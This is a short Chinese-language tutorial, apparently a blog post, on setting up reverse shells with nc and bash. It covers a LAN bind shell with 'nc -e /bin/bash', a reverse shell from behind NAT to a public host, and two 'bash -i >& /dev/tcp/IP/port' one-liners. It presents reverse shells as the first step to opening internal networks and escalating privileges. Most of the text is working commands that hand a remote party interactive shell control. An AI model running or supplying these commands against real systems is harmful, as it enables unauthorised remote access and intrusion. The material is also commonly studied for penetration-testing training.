使用nc及bash进行反弹shell的简单实践
什么是反弹shell?
反弹shell(reverse shell),就是控制端监听在某TCP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。
反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步
参考百度查询到的关于shell反弹实践的一些文章,下面介绍我这边实践的过程
一、被控端主机与控制端主机位于内网同网段场景
如下图所示
(图片可放大查看)
1、被控端主机——IP:192.168.31.84
2、kali控制端主机:192.168.31.118
1)安装nc命令
若没有nc命令,使用yum方式进行安装
代码语言:javascript复制yum install nmap-ncat
(图片可放大查看)
(图片可放大查看)
代码语言:javascript复制firewall-cmd --zone=public --add-port=5432/tcp --permanent
firewall-cmd --reload
2)、nc命令开启本地监听端口
代码语言:javascript复制nc -n -lvvp 5432 -t -e /bin/bash
(图片可放大查看)
3)kali控制端主机使用nc命令连接被控端主机
代码语言:javascript复制nc 192.168.31.84 5432
执行shell命令,可以看到输入shell命令后被控主机的shell输出结果
(图片可放大查看)
(图片可放大查看)
二、被控端主机位于NAT后的场景
如下图所示 被控端主机位于NAT后 控制端主机位于公网
1)控制端主机开启端口5432监听
由于我这里是一台云主机,需要firewalld开放5432且云主机安全组规则也要放开该端口
(图片可放大查看)
(图片可放大查看)
代码语言:javascript复制firewall-cmd --zone=public --add-port=5432/tcp --permanent
firewall-cmd --reload
nc -n -lvvp 5432
(图片可放大查看)
2)被控端主机位于NAT后,主动去连控制端主机公网开放的5432端口
代码语言:javascript复制nc X.X.X.X(公网IP) 5432 -t -e /bin/bash
(图片可放大查看)
三、使用bash进行shell反弹
以上是nc进行shell反弹的实践过程,下面介绍bash进行shell反弹 bash 直接反弹的两种写法
1)写法1
代码语言:javascript复制bash -i > /dev/tcp/81.X.X.X/5432 0>&1 2>&1
(图片可放大查看)
2)写法2
代码语言:javascript复制bash -i >& /dev/tcp/81.X.X.X/5432 0>&1
(图片可放大查看)
具体原理可以参考先知社区上的这两篇文章
Linux反弹shell(一)文件描述符与重定向
——https://xz.aliyun.com/t/2548
Linux反弹shell(二)反弹shell的本质
——https://xz.aliyun.com/t/2549
1)bash -i
-i 代表交互式
代码语言:javascript复制-i If the -i option is present, the shell is interactive.
2)/dev/tcp/ip/port是一个特殊的文件,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的。但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信
3)0>&1 标准输入与标准输出内容结合后重定向到标准输出里
总结
当然shell反弹的方式不局限于nc与bash两种方式,还有其它python,java,perl,php,ruby,socat等等,可以自动上网搜寻,本文就点到为止